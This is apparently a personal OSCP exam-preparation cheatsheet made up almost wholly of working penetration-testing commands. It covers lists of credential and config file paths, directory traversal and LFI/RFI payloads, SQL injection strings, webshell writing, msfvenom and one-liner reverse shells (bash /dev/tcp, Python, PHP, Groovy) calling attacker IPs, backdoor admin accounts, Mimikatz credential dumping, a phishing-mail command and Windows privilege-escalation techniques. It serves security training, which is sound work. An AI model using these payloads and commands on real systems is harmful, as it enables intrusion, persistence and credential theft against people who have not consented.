OSCP Cheatsheet

I prepared this cheatsheet as part of my OSCP preperation.
I'll keep this updating.
For any suggestions mail me [email protected]

Table of Content

General
Recon and Enumeration
Web Attacks
Exploitation
- Reverse Shells
Windows Privilege Escalation
Linux Privilege Escalation
Post Exploitation
- Sensitive Information
- Dumping Hashes
Active Directory Pentesting

General

Important Locations

Windows

C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini
C:/WINDOWS/Repair/SAM
C:/Windows/repair/system
C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log

Linux

/etc/passwd
/etc/shadow
/etc/aliases
/etc/anacrontab
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/apache2/sites-enabled/000-default.conf
/etc/at.allow
/etc/at.deny
/etc/bashrc
/etc/bootptab
/etc/chrootUsers
/etc/chttp.conf
/etc/cron.allow
/etc/cron.deny
/etc/crontab
/etc/cups/cupsd.conf
/etc/exports
/etc/fstab
/etc/ftpaccess
/etc/ftpchroot
/etc/ftphosts
/etc/groups
/etc/grub.conf
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/httpd/access.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/php.ini
/etc/httpd/srm.conf
/etc/inetd.conf
/etc/inittab
/etc/issue
/etc/knockd.conf
/etc/lighttpd.conf
/etc/lilo.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/lsb-release
/etc/motd
/etc/modules.conf
/etc/motd
/etc/mtab
/etc/my.cnf
/etc/my.conf
/etc/mysql/my.cnf
/etc/network/interfaces
/etc/networks
/etc/npasswd
/etc/passwd
/etc/php4.4/fcgi/php.ini
/etc/php4/apache2/php.ini
/etc/php4/apache/php.ini
/etc/php4/cgi/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/apache/php.ini
/etc/php/cgi/php.ini
/etc/php.ini
/etc/php/php4/php.ini
/etc/php/php.ini
/etc/printcap
/etc/profile
/etc/proftp.conf
/etc/proftpd/proftpd.conf
/etc/pure-ftpd.conf
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/putreftpd.pdb
/etc/redhat-release
/etc/resolv.conf
/etc/samba/smb.conf
/etc/snmpd.conf
/etc/ssh/ssh_config
/etc/ssh/sshd_config
/etc/ssh/ssh_host_dsa_key
/etc/ssh/ssh_host_dsa_key.pub
/etc/ssh/ssh_host_key
/etc/ssh/ssh_host_key.pub
/etc/sysconfig/network
/etc/syslog.conf
/etc/termcap
/etc/vhcs2/proftpd/proftpd.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/opt/lampp/etc/httpd.conf
/opt/xampp/etc/php.ini
/proc/cmdline
/proc/cpuinfo
/proc/filesystems
/proc/interrupts
/proc/ioports
/proc/meminfo
/proc/modules
/proc/mounts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/<PID>/cmdline
/proc/<PID>/maps
/proc/sched_debug
/proc/self/cwd/app.py
/proc/self/environ
/proc/self/net/arp
/proc/stat
/proc/swaps
/proc/version
/root/anaconda-ks.cfg
/usr/etc/pure-ftpd.conf
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/log
/usr/local/apache/logs
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/usr/local/apache/audit_log
/usr/local/apache/error_log
/usr/local/apache/error.log
/usr/local/cpanel/logs
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd-access.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/html<VHOST>/__init__.py
/var/www/html/db_connect.php
/var/www/html/utils.php
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
~/.bashrc
~/.gtkrc
~/.login
~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
#id_rsa, id_ecdsa, id_ecdsa_sk, id_ed25519, id_ed25519_sk, and id_dsa
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa
~/.ssh/id_edcsa
~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults
~/.xinitrc
~/.Xresources
~/.xsession

File Transfers

Downloading on Windows

powershell -command Invoke-WebRequest -Uri http://<LHOST>:<LPORT>/<FILE> -Outfile C:\\temp\\<FILE>
iwr -uri http://lhost/file -Outfile file
certutil -urlcache -split -f "http://<LHOST>/<FILE>" <FILE>
copy \\kali\share\file .

Downloading on Linux

wget http://lhost/file
curl http://<LHOST>/<FILE> > <OUTPUT_FILE>

Windows to Kali

kali> impacket-smbserver -smb2support <sharename> .
win> copy file \\KaliIP\sharename

Adding Users

Windows

net user hacker hacker123 /add
net localgroup Administrators hacker /add
net localgroup "Remote Desktop Users" hacker /ADD

Linux

adduser <uname> #Interactive
useradd <uname>

useradd -u <UID> -g <group> <uname>  #UID can be something new than existing, this command is to add a user to a specific group

Password-Hash Cracking

Hash Analyzer: https://www.tunnelsup.com/hash-analyzer/

fcrackzip

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zip #Cracking zip files

John

https://github.com/openwall/john/tree/bleeding-jumbo/run

ssh2john.py id_rsa > hash
#Convert the obtained hash to John format(above link)
john hashfile --wordlist=rockyou.txt

Hashcat

https://hashcat.net/wiki/doku.php?id=example_hashes

#Obtain the Hash module number 
hashcat -m <number> hash wordlists.txt --force

Mimikatz

privilege::debug
sekurlsa::logonpasswords #hashes and plaintext passwords
lsadump::sam
lsadump::lsa /patch #both these dump SAM

#OneLiner
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"

Ligolo-ng

#Creating interface and starting it.
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

#Kali machine - Attacker machine
./proxy -laddr <LHOST>:9001 -selfcert

#windows or linux machine - compromised machine
./agent -connect <LHOST>:9001 -ignore-cert

#In Ligolo-ng console
session #select host
ifconfig #Notedown the internal network's subnet
start #after adding relevent subnet to ligolo interface

#Adding subnet to ligolo interface - Kali linux
sudo ip r add <subnet> dev ligolo

Recon and Enumeration

OSINT OR Passive Recon
💡 Not that useful for OSCP as we’ll be dealing with internal machines
- whois: whois <domain> or whois <domain> -h <IP>
- Google dorking,
  - site
  - filetype
  - intitle
  - GHDB - Google hacking database
- OS and Service Information using searchdns.netcraft.com
- Github dorking
  - filename
  - user
  - A tool called Gitleaks for automated enumeration
- Shodan dorks
  - hostname
  - port
  - Then gather infor by going through the options
- Scanning Security headers and SSL/TLS using https://securityheaders.com/

Port Scanning

#use -Pn option if you're getting nothing in scan
nmap -sC -sV <IP> -v #Basic scan
nmap -T4 -A -p- <IP> -v #complete scan
sudo nmap -sV -p 443 --script "vuln" 192.168.50.124 #running vuln category scripts

#NSE
updatedb
locate .nse | grep <name>
sudo nmap --script="name" <IP> #here we can specify other options like specific ports...etc

Test-NetConnection -Port <port> <IP>   #powershell utility

1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("IP", $_)) "TCP port $_ is open"} 2>$null #automating port scan of first 1024 ports in powershell

FTP enumeration

ftp <IP>
#login if you have relevant creds or based on nmpa scan find out whether this has anonymous login or not, then loginwith Anonymous:password

put <file> #uploading file
get <file> #downloading file

#NSE
locate .nse | grep ftp
nmap -p21 --script=<name> <IP>

#bruteforce
hydra -L users.txt -P passwords.txt <IP> ftp #'-L' for usernames list, '-l' for username and viceversa

#check for vulnerabilities associated with the version identified.

SSH enumeration

#Login
ssh uname@IP #enter password in the prompt

#id_rsa or id_ecdsa file
chmod 600 id_rsa/id_ecdsa
ssh uname@IP -i id_rsa/id_ecdsa #if it still asks for password, crack them using John

#cracking id_rsa or id_ecdsa
ssh2john id_ecdsa(or)id_rsa > hash
john --wordlist=/home/sathvik/Wordlists/rockyou.txt hash

#bruteforce
hydra -l uname -P passwords.txt <IP> ssh #'-L' for usernames list, '-l' for username and viceversa

#check for vulnerabilities associated with the version identified.

SMB enumeration

sudo nbtscan -r 192.168.50.0/24 #IP or range can be provided

#NSE scripts can be used
locate .nse | grep smb
nmap -p445 --script="name" $IP 

#In windows we can view like this
net view \\<computername/IP> /all

#crackmapexec
crackmapexec smb <IP/range>  
crackmapexec smb 192.168.1.100 -u username -p password
crackmapexec smb 192.168.1.100 -u username -p password --shares #lists available shares
crackmapexec smb 192.168.1.100 -u username -p password --users #lists users
crackmapexec smb 192.168.1.100 -u username -p password --all #all information
crackmapexec smb 192.168.1.100 -u username -p password -p 445 --shares #specific port
crackmapexec smb 192.168.1.100 -u username -p password -d mydomain --shares #specific domain
#Inplace of username and password, we can include usernames.txt and passwords.txt for password-spraying or bruteforcing.

# Smbclient
smbclient -L //IP #or try with 4 /'s
smbclient //server/share
smbclient //server/share -U <username>
mbclient //server/share -U domain/username

#SMBmap
smbmap -H <target_ip>
smbmap -H <target_ip> -u <username> -p <password>
smbmap -H <target_ip> -u <username> -p <password> -d <domain>
smbmap -H <target_ip> -u <username> -p <password> -r <share_name>

#Within SMB session
put <file> #to upload file
get <file> #to download file

Downloading shares made easy - if the folder consists of several files, they all be downloading by this.

mask ""
recurse ON
prompt OFF
mget *

HTTP/S enumeration

View source-code and identify any hidden content. If some image looks suspicious download and try to find hidden data in it.
Identify the version or CMS and check for active exploits. This can be done using Nmap and Wappalyzer.
check /robots.txt folder
Look for the hostname and add the relevant one to /etc/hosts file.
Directory and file discovery - Obtain any hidden files which may contain juicy information

dirbuster
gobuster dir -u http://example.com -w /path/to/wordlist.txt
python3 dirsearch.py -u http://example.com -w /path/to/wordlist.txt

Vulnerability Scanning using nikto: nikto -h <url>
SSL certificate inspection, this may reveal information like subdomains, usernames…etc
Default credentials, Identify the CMS or service ans check for default credentials and test them out.
Bruteforce

hydra -L users.txt -P password.txt <IP or domain> http-{post/get}-form "/path:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https, post or get can be obtained from Burpsuite. Also do capture the response for detailed info.

#Bruteforce can also be done by Burpsuite but it's slow, prefer Hydra!

if cgi-bin is present then do further fuzzing and obtain files like .sh or .pl
Check if other services like FTP/SMB or anyothers which has upload privileges are getting reflected on web.
API - Fuzz further and it can reveal some sensitive information

#identifying endpoints using gobuster
gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern #pattern can be like {GOBUSTER}/v1 here v1 is just for example, it can be anything

#obtaining info using curl
curl -i http://192.168.50.16:5002/users/v1

If there is any Input field check for Remote Code execution or SQL Injection
Check the URL, whether we can leverage Local or Remote File Inclusion.
Also check if there’s any file upload utility(also obtain the location it’s getting reflected)

Wordpress

# basic usage
wpscan --url "target" --verbose

# enumerate vulnerable plugins, users, vulrenable themes, timthumbs
wpscan --url "target" --enumerate vp,u,vt,tt --follow-redirection --verbose --log target.log

# Add Wpscan API to get the details of vulnerabilties.

Drupal

droopescan scan drupal -u http://site

Joomla

droopescan scan joomla --url http://site
sudo python3 joomla-brute.py -u http://site/ -w passwords.txt -usr username #https://github.com/ajnik/joomla-bruteforce

DNS enumeration

host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com

for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found" #bash bruteforcer to find domain name

dnsrecon -d megacorpone.com -t std #standard recon
dnsrecon -d megacorpone.com -D ~/list.txt -t brt #bruteforce, hence we provided list

dnsenum megacorpone.com

nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151 #we're querying with a specific IP

SMTP enumeration

nc -nv <IP> 25 #Version Detection
smtp-user-enum -M VRFY -U username.txt -t <IP> # -M means mode, it can be RCPT, VRFY, EXPN

#Sending email with valid credentials, the below is an example for Phishing mail attack
sudo swaks -t [email protected] -t [email protected] --from [email protected] --server <mailserver-IP> --body @body.txt --header "Test" --suppress-data -ap

LDAP Enumeration

ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
#CN name describes the info w're collecting
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

#windapsearch.py
#for computers
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --computers

#for groups
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --groups

#for users
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --da

#for privileged users
python3 windapsearch.py --dc-ip <IP address> -u <username> -p <password> --privileged-users

NFS Enumeration

nmap -sV --script=nfs-showmount <IP>
showmount -e <IP>

SNMP Enumeration

snmpcheck -t <IP> -c public
snmpwalk -c public -v1 -t 10 <IP>
snmpenum -t <IP>

RPC Enumeration

rpcclient -U=user $DCIP
rpcclient -U="" $DCIP #Anonymous login
##Commands within in RPCclient
srvinfo
enumdomusers #users
enumpriv #like "whoami /priv"
queryuser <user> #detailed user info
getuserdompwinfo <RID> #password policy, get user-RID from previous command
lookupnames <user> #SID of specified user
createdomuser <username> #Creating a user
deletedomuser <username>
enumdomains
enumdomgroups
querygroup <group-RID> #get rid from previous command
querydispinfo #description of all users
netshareenum #Share enumeration, this only comesup if the current user we're logged in has permissions
netshareenumall
lsaenumsid #SID of all users

Web Attacks

💡 Cross-platform PHP revershell: https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php

Directory Traversal

cat /etc/passwd #displaying content through absolute path
cat ../../../etc/passwd #relative path

# if the pwd is /var/log/ then in order to view the /etc/passwd it will be like this
cat ../../etc/passwd

#In web int should be exploited like this, find a parameters and test it out
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
#check for id_rsa, id_ecdsa
#If the output is not getting formatted properly then,
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd 

#For windows
http://192.168.221.193:3000/public/plugins/alertlist/../../../../../../../../Users/install.txt #no need to provide drive

URL Encoding

#Sometimes it doesn't show if we try path, then we need to encode them
curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

Wordpress
- Simple exploit: https://github.com/leonjza/wordpress-shell

Local File Inclusion

Main difference between Directory traversal and this attack is, here we’re able to execute commands remotely.

#At first we need 
http://192.168.45.125/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami #we're passing a command here

#Reverse shells
bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
#We can simply pass a reverse shell to the cmd parameter and obtain reverse-shell
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22 #encoded version of above reverse-shell

#PHP wrapper
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('uname%20-a');?>" 
curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=/var/www/html/backup.php

Remote file inclusion

1. Obtain a php shell
2. host a file server 
3.
http://mountaindesserts.com/meteor/index.php?page=http://attacker-ip/simple-backdoor.php&cmd=ls
we can also host a php reverseshell and obtain shell.

SQL Injection

admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-

Blind SQL Injection - This can be identified by Time-based SQLI

#Application takes some time to reload, here it is 3 seconds
http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //

Manual Code Execution

kali> impacket-mssqlclient Administrator:[email protected] -windows-auth #To login
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
#Now we can run commands
EXECUTE xp_cmdshell 'whoami';

#Sometimes we may not have direct access to convert it to RCE from web, then follow below steps
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- // #Writing into a new file
#Now we can exploit it
http://192.168.45.285/tmp/webshell.php?cmd=id #Command execution

SQLMap - Automated Code execution

sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user #Testing on parameter names "user", we'll get confirmation
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump #Dumping database

#OS Shell
#  Obtain the Post request from Burp suite and save it to post.txt
sqlmap -r post.txt -p item  --os-shell  --web-root "/var/www/html/tmp" #/var/www/html/tmp is the writable folder on target, hence we're writing there

Exploitation

Reverse Shells

Msfvenom

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x64.exe

msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war
msfvenom -p php/reverse_php LHOST=<IP> LPORT=<PORT> -f raw > shell.php

One Liners

bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
<?php echo shell_exec('bash -i >& /dev/tcp/10.11.0.106/443 0>&1');?>
#For powershell use the encrypted tool that's in Tools folder

💡 While dealing with PHP reverseshell use: [https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php](https://github.com/ivan-sincek/php-reverse-shell/blob/master/src/reverse/php_reverse_shell.php)

Groovy reverse-shell

For Jenkins

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Windows Privilege Escalation

Basic

#Starting, Restarting and Stopping services in Powershell
Start-Service <service>
Stop-Service <service>
Restart-Service <service>

#Powershell History
type C:\Users\sathvik\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Automated Scripts

winpeas.exe
winpeas.bat
Jaws-enum.ps1
powerup.ps1
PrivescCheck.ps1

Token Impersonation

Command to check whoami /priv

#Printspoofer
PrintSpoofer.exe -i -c powershell.exe 
PrintSpoofer.exe -c "nc.exe <lhost> <lport> -e cmd"

#RoguePotato
RoguePotato.exe -r <AttackerIP> -e "shell.exe" -l 9999

#GodPotato
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "shell.exe"

#JuicyPotatoNG
JuicyPotatoNG.exe -t * -p "shell.exe" -a

#SharpEfsPotato
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a "whoami | Set-Content C:\temp\w.log"
#writes whoami command to w.log file

Services

Binary Hijacking

#Identify service from winpeas
icalcs "path" #F means full permission, we need to check we have full access on folder
sc qc <servicename> #find binarypath variable
sc config <service> <option>="<value>" #change the path to the reverseshell location
sc start <servicename>

Unquoted Service Path

wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """  #Displays services which has missing quotes, this can slo be obtained by running WinPEAS
#Check the Writable path
icalcs "path"
#Insert the payload in writable location and which works.
sc start <servicename>

Insecure Service Executables

#In Winpeas look for a service which has the following
File Permissions: Everyone [AllAccess]
#Replace the executable in the service folder and start the service
sc start <service>

Weak Registry permissions

#Look for the following in Winpeas services info output
HKLM\system\currentcontrolset\services\<service> (Interactive [FullControl]) #This means we have ful access

accesschk /acceptula -uvwqk <path of registry> #Check for KEY_ALL_ACCESS

#Service Information from regedit, identify the variable which holds the executable
reg query <reg-path>

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
#Imagepath is the variable here

net start <service>

DLL Hijacking

Autorun

#For checking, it will display some information with file-location
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

#Check the location is writable
accesschk.exe \accepteula -wvu "<path>" #returns FILE_ALL_ACCESS

#Replace the executable with the reverseshell and we need to wait till Admin logins, then we'll have shell

AlwaysInstallElevated

#For checking, it should return 1 or Ox1
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

#Creating a reverseshell in msi format
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<port> --platform windows -f msi > reverse.msi

#Execute and get shell
msiexec /quiet /qn /i reverse.msi

Schedules Tasks

schtasks /query /fo LIST /v #Displays list of scheduled tasks, Pickup any interesting one
#Permission check - Writable means exploitable!
icalcs "path"
#Wait till the scheduled task in executed, then we'll get a shell

Startup Apps

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp #Startup applications can be found here
#Check writable permissions and transfer
#The only catch here is the system needs to be restarted

Insecure GUI apps

#Check the applications that are running from "TaskManager" and obtain list of applications that are running as Privileged user
#Open that particular application, using "open" feature enter the following
file://c:/windows/system32/cmd.exe

Passwords

Sensitive files

%SYSTEMROOT%\repair\SAM  
%SYSTEMROOT%\System32\config\RegBack\SAM  
%SYSTEMROOT%\System32\config\SAM  
%SYSTEMROOT%\repair\system  
%SYSTEMROOT%\System32\config\SYSTEM  
%SYSTEMROOT%\System32\config\RegBack\system  

findstr /si password *.txt  
findstr /si password *.xml  
findstr /si password *.ini  
Findstr /si password *.config 
findstr /si pass/pwd *.ini  

dir /s *pass* == *cred* == *vnc* == *.config*  

in all files  
findstr /spin "password" *.*  
findstr /spin "password" *.*

Config files

c:\sysprep.inf  
c:\sysprep\sysprep.xml  
c:\unattend.xml  
%WINDIR%\Panther\Unattend\Unattended.xml  
